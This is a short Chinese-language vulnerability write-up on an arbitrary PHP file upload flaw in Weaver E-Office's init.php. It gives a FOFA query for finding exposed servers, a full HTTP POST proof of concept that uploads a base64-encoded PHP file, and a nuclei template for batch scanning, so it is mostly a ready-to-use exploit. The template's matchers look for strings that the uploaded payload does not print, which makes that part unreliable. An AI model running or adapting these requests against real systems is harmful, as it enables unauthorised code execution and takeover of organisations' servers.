漏洞简介
泛微E-Office init.php文件存在任意文件上传漏洞，攻击者可以通过该漏洞直接获取网站权限。
漏洞复现
fofa语法：app="泛微-EOffice"
登录页面如下：
POC：
POST /E-mobile/App/init.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 170
m=common_Common_Flow&f=flowDo&diff=feedback&RUN_ID=1&USER_ID=1&CONTENT=1&FLOW_ID=1&upload_file=PD9waHAgZWNobyAiMTIzNDU2NzgiO3VubGluayhfX0ZJTEVfXyk7Pz4=&file_name=test.php
使用浏览器访问上传后的文件。
nuclei批量yaml文件
id: eoffice_init_uploal
info:
name: 泛微 E-Office init.php存在文件上传漏洞
author: mhb17
severity: critical
description: description
reference:
- https://
tags: upload
requests:
- raw:
- |-
POST /E-mobile/App/init.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 170
m=common_Common_Flow&f=flowDo&diff=feedback&RUN_ID=1&USER_ID=1&CONTENT=1&FLOW_ID=1&upload_file=PD9waHAgZWNobyAiMTIzNDU2NzgiO3VubGluayhfX0ZJTEVfXyk7Pz4=&file_name=test.php
matchers-condition: and
matchers:
- type: word
part: body
words:
- flag
- type: word
part: body
words:
- ?diff=
- type: word
part: body
words:
- test.php
- type: word
part: header
words:
- '200'